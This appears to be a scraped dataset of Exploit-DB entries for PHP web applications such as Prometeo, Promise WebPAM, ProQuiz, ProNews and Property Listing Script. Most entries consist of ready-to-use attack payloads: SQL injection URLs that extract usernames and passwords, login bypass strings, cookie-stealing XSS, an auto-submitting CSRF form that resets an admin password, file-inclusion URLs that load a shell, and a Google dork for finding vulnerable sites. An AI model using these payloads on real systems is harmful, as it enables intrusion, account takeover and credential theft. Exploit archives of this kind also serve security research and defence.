deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14806
Description: Prometeo 1.0.65 - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-26
Author: Lord Tittis3000

Exploit:
                      ****     **    ********   **********                     /**/**   /**   **//////   /////**///                      /**//**  /**  /**             /**                         /** //** /**  /*********      /**                         /**  //**/**  ////////**      /**                         /**   //****         /**      /**                         /**    //***   ********       /**                         //      ///   ////////        // 

                          =================================                   
Prometeo (vers. 1.0.65)  -SQLi Vulnerability-                          =================================

-Vulnerability ID: LD3-Product: Prometeo-Vendor: Prometeo (http://www.infomedia2000.it/prometeo/)-Vulnerability Type: SQL Injection-Status: Unfixed-Risk level: High-Credit: Network Security (http://www.netw0rksecurity.net/)

-Vulnerability Details:User can execute arbitrary JavaScript code within the vulnerable application.An attacker can use browser to exploit this vulnerability.

-Google Dork: inurl:categoria.php?ID= comune

-Example: 
http://server/categoria.php?ID=132%20and%201=2%20union%20select%201,concat(nome,0x3a,password),3,4,5,6,7,8,9,10,null,12,13,14,15,16,17%20from%20users--

# Netw0rkSecurity.net [2010-08-26]
Exploit-DB #18571
Description: promise webpam 2.2.0.13 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-07
Author: LiquidWorm

Exploit:
Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities


Vendor: Promise Technology, Inc.
Product web page: http://www.promise.com
Affected version: 2.2.0.13

Summary: WebPAM is a web based Promise Array Management Software
that's easy-to use, designed to simplify RAID storage management.
WebPAM is specifically designed for Promise HBA. WebPAM can configure,
manage or monitor Promise RAID products remotely from a web browser
from anywhere in the world.

Desc: Input passed via the parameters 'entSortOrder' and 'entSort' in
'ent_i.jsp' script are not properly sanitised before being returned to
the user or used in SQL queries. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code. The parameters 'startTime' and
'endTime' in 'ent_i.jsp' are vulnerable to a XSS issue where the attacker
can execute arbitrary HTML and script code in a user's browser session in
context of an affected site. The parameter 'userID' in 'usr_ent.jsp' and
'usr_t.jsp' is vulnerable to HTTP Response Splitting which can be exploited
to insert arbitrary HTTP headers, which are included in a response sent to
the user.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Jetty/4.2.23 (Windows XP/5.1 x86 java/1.4.2)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5077
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5077.php


28.02.2012

---



#1 (XSS):
---------

https://labpc:8443/promise/ent_i.jsp?startTime=<script>alert("ZSL");</script>
https://labpc:8443/promise/ent_i.jsp?endTime=<script>alert("ZSL");</script>


#2 (SQLi):
----------

https://labpc:8443/promise/ent_i.jsp?entSortOrder=desc%27
https://labpc:8443/promise/ent_i.jsp?entSort=time%27
https://labpc:8443/promise/tools/sqlrun.jsp?sqlstr=[QUERY SQLi]


#3 (CRLFi):
-----------

https://labpc:8443/promise/usr_ent.jsp?userID=%0D%0AZSL%2DCustom%2DHeader%3Alove_injection
https://labpc:8443/promise/usr_t.jsp?userID=%0D%0AZSL%2DCustom%2DHeader%3Alove_injection


#4 (SCD):
---------

Ref: http://secunia.com/advisories/17659

https://labpc:8443/promise/index.jsp%00
https://labpc:8443/promise/index.jsp%20
https://labpc:8443/promise/index.jsp%5C
https://labpc:8443/promise/index.jsp#
https://labpc:8443/promise/index.jsp\
Exploit-DB #32257
Description: PromoProducts - 'view_product.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-15
Author: baltazar

Exploit:
source: https://www.securityfocus.com/bid/30725/info

PromoProducts is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/view_product.php?cat_id=6500&sub_cat=6508&product_id=-9999+union+all+select+1,concat(user_name,char(58),password),null,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+user--

http://www.example.com/view_product.php?cat_id=155&sub_cat=-9999+union+all+select+1,2,3,4,5,6,7,concat(user_name,char(58),password),9,10,11,12,13,14,115,16,17,18,19,20,21,22,23,24,25,26+from+user--
Exploit-DB #6577
Description: PromoteWeb MySQL - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-26
Author: CWH Underground

Exploit:
===================================================================
  PromoteWeb MySQL (go.php id) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : PromoteWeb MySQL
DOWNLOAD    : http://php.deeserver.net/download/get/23/promote.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (go.php)
-----------------------------------

$sql = "select * from promote where No='$id'";

---------
 Exploit
---------

[+] http://[Target]/[promote]/go.php?id=[SQL Injection]


------
 POC
------

[+] http://[Target]/[promote]/go.php?id=1'/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8/**/FROM/**/promote/**/WHERE/**/No='1


Note!! Result of SQL Injection will appear new window with http://[result]/ 
Example: http://5.0.51a/


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26]
Exploit-DB #29267
Description: ProNews 1.5 - '/admin/change.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21516/info

ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/admin/change.php?pseudo=[XSS]&email=">[XSS]&date=[XSS]&sujet=[XSS]&message=[XSS]&site=">[XSS]<foo
&lien=[XSS]&aa=[existing_news_id]
Exploit-DB #29269
Description: ProNews 1.5 - 'lire-avis.php?aa' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21516/info
  
ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/lire-avis.php?aa=[XSS]
Exploit-DB #29268
Description: ProNews 1.5 - 'lire-avis.php?aa' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21516/info
 
ProNews is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues, an SQL-injection issue, and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
ProNews version 1.5 is vulnerable to these issues.

http://www.example.com/[script_news_path]/lire-avis.php?aa=[SQL INJECTION]
Exploit-DB #35930
Description: Prontus CMS - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-07-11
Author: Zerial

Exploit:
source: https://www.securityfocus.com/bid/48637/info

Prontus CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//

http://www.example.com/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//

http://www.example.com/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//
Exploit-DB #41225
Description: Property Listing Script - 'propid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2017-02-02
Author: Kaan KAMIS

Exploit:
Exploit Title: Property Listing Script – Time-Based Blind Injection
Date: 02.02.2017
Vendor Homepage: http://phprealestatescript.org/
Software Link: http://phprealestatescript.org/property-listing-script.html
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Advanced PHP Real-Estate Script, we have almost covered the Main features required for a Property Buy and Sell Listing Script.

Vulnerable Url: http://locahost/property-list/property_view.php?propid=443[payload]
Parameter: propid (GET)
Type: AND/OR time-based blind

Simple Payload:
Payload: propid=443' AND SLEEP(5) AND 'FBop'='FBop
Exploit-DB #41587
Description: Property Listing Script 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Property Listing Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/property-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pls&front=1&lid=1
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionProperties&listing_search=1&min_bedrooms=1[SQL]&max_bedrooms=1[SQL]&min_bathrooms=1[SQL]&max_bathrooms=2[SQL]
# Etc..
# # # # #
Exploit-DB #34473
Description: Property Watch - 'email.php?videoid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-01
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42453/info

Property Watch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Property Watch 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/tools/email.php?videoid="><script>alert(document.cookie);</script>
Exploit-DB #34474
Description: Property Watch - 'login.php?redirect' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-01
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42453/info
 
Property Watch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Property Watch 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/tools/login.php?redirect="><script>alert(document.cookie);</script>
Exploit-DB #8858
Description: propertymax pro free - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-02
Author: SirGod

Exploit:
########################################################################
[+] PropertyMax Pro FREE (SQL/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#########################################################################

[+] SQL Injection ( Auth Bypass) 

Conditions :  magic_quotes_gpc = off

Go to :

   http://127.0.0.1/path/admin

Login as : 

    Username : 'or''='
    Password  : 'or''='

[+] Cross-Site Scripting

     http://127.0.0.1/path/?op=mi&id=2&pl="><script>alert(document.cookie)</script>

#########################################################################

# milw0rm.com [2009-06-02]
Exploit-DB #7397
Description: ProQuiz 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-09
Author: Osirys

Exploit:
----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [0] GENERAL DETAILS:

Name           :  ProQuiz 1.0 Sql Injection (Auth bypass)
Download       :  http://sourceforge.net/project/downloading.php?group_id=246466&use_mirror=kent&filename=ProQuiz.zip&65145754
Vulnerability  :  Sql Injection (Admin Login Bypass)
Author         :  Osirys
Contact        :  osirys[at]live[dot]it

----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [1] BUG EXPLANATION:

The affected file is /admin/index.php. Let's see the code.

[CODE]
if($_GET['menu'] != 'madmin')
	{
	if(isset($_POST['username']) && isset($_POST['password']))
		{
			$query = "SELECT * FROM ".$member_admin." WHERE `username` = '".$_POST['username']."' AND `password` = '".$_POST['password']."' ";
[/CODE]

----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [2] EXPLOITATION:

Just go in /[path]/admin/index.php. Login with the following details:
Username : ' or 1=1#
[CREDENTIAL_REDACTED]

----------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-12-09]
Exploit-DB #20550
Description: ProQuiz 2.0.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-16
Author: DaOne

Exploit:
##########################################

[~] Exploit Title: ProQuiz v2.0.2 CSRF Vulnerability

[~] Author: DaOne

[~] Date: 19/8/2012

[~] Software Link: http://code.google.com/p/proquiz/downloads/list

##########################################



[#] [ CSRF Change Admin Password ]



</form>

<html>

<body onload="document.form0.submit();">

<form method="POST" name="form0" action="http://[target]/functions.php?action=edit_profile&type=password">

<input type="hidden" name="password" value="pass123"/>

<input type="hidden" name="cpassword" value="pass123"/>

</form>

</body>

</html>



##########################################
Exploit-DB #20421
Description: ProQuiz 2.0.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-11
Author: L0n3ly-H34rT

Exploit:
####################################################
### Exploit Title: ProQuiz v2.0.2 - Multiple Vulnerabilities 
### Date: 18/7/2012 
### Author: L0n3ly-H34rT 
### My Site: http://se3c.blogspot.com/
### Contact: l0n3ly_h34rt@hotmail.com 
### Vendor Homepage: http://proquiz.softon.org/ 
### Software Link: http://code.google.com/p/proquiz/downloads/list
### Tested on: Linux/Windows 
####################################################

1- Remote File Include :

* In File (my_account.php) in line 114 & 115 :

if($_GET['action']=='getpage' && !empty($_GET['page'])){
@include_once($_GET['page'].'.php'); 

* P.O.C :

First register and login in your panel and paste that's url e.g. :

http://127.0.0.1/full/my_account.php?action=getpage&page=http://127.0.0.1/shell.txt?

* Note :

Must be allow_url_include=On

-----------------------------------------------------------------------

2- Local File Include :

* In File (my_account.php) in line 114 & 115 :

if($_GET['action']=='getpage' && !empty($_GET['page'])){
@include_once($_GET['page'].'.php'); 

* P.O.C :

First register and login in your panel and paste that's url e.g. :

http://127.0.0.1/full/my_account.php?action=getpage&page=../../../../../../../../../../windows/win.ini%00.jpg

* Note :

Must be magic_quotes_gpc = Off

---------------------------------------------------------------------

3- Remote SQL Injection & Blind SQL Injection :

* In Two Files :

A- First ( answers.php ) in line 55 :

<?php echo $_GET['instid']; ?>

B- Second ( functions.php ) In :

$_POST['email']

$_POST['username']

* P.O.C :

A- First :

http://127.0.0.1/full/answers.php?action=answers&instid=[SQL]

B- Second :

About Email :

In URL:

http://127.0.0.1/full/functions.php?action=recoverpass

Inject Here In POST Method :

email=[SQL]

About Username :

In URL:

http://127.0.0.1/full/functions.php?action=edit_profile&type=username

Inject Here In POST Method :

username=[SQL]

-------------------------------------------------------------------------------------

4 - Cross Site Scripting :

e.g.: http://127.0.0.1/full/answers.php?action=answers&instid=[XSS]

-----------------------------------------------------------------------------------

# Greetz to my friendz

References:

http://se3c.blogspot.com/
http://code.google.com/p/proquiz/downloads/list
Exploit-DB #43082
Description: Protected Links - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# Software Link: https://codecanyon.net/item/protected-links-expiring-download-links/2556861
# Demo: http://protectedlinks.net/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
-->
<form name="login" method="post" action="http://localhost/[PATH]/index.php">
<div id="login">
<table width="200" border="0">
<tr>
<td height="45"><p>Username</p></td>
<td><label for="textfield"></label>
<input type="text" name="username" id="textfield" value="' UNION ALL SELECT 1,CONCAT(VERSiON(),0x494853414e2053454e43414e),3,4,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari"/></td>
</tr>
<tr>
<td height="45">Password</td>
<td><label for="textfield"></label>
<input type="password" name="password" id="textfield" value="Ver Ayari"/></td>
</tr>
</table>
</div>
<input type="submit" name="submit" value="LOGIN" />
</form>
Exploit-DB #24048
Description: Protector System 1.15 - 'blocker_query.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-04-23
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/10206/info
 
Multiple vulnerabilities were reported to exist in Protector System, which is a third-party module for PHP-Nuke. Cross-site scripting and SQL injection vulnerabilities were reported.
 
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
 
These issues were reported to exist in Protector System 1.15b1. Other versions may also be affected.

http://www.example.com/nuke72/admin/modules/blocker_query.php?target=foobar.com">[xss code here]
http://www.example.com/nuke72/admin/modules/blocker_query.php?target=foobar.com&queryType=all&portNum=foobar[xss code here]
Exploit-DB #24047
Description: Protector System 1.15 b1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-23
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/10206/info

Multiple vulnerabilities were reported to exist in Protector System, which is a third-party module for PHP-Nuke. Cross-site scripting and SQL injection vulnerabilities were reported. 

Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.

These issues were reported to exist in Protector System 1.15b1. Other versions may also be affected.

http://www.example.com/nuke72/index.php?foobar%27,IF(ord(mid(USER(),1,1))%3d114,benchmark(500000,md5(1337)),1),2)/*
http://www.example.com/nuke72/index.php?foo=bar%20U/**/NION%20SELECT%20ALL%20FROM%20WHERE
http://www.example.com/nuke72/index.php?foo=bar%20UNION%20SELECT%20ALL%20FROM%20WHERE
Exploit-DB #30118
Description: Prototype of an PHP Application 0.1 - '/gestion/index.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info

'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

This issue affects 'Prototype of an PHP application' 0.1. 


http://example.com/script/gestion/index.php?path_inc=[shell]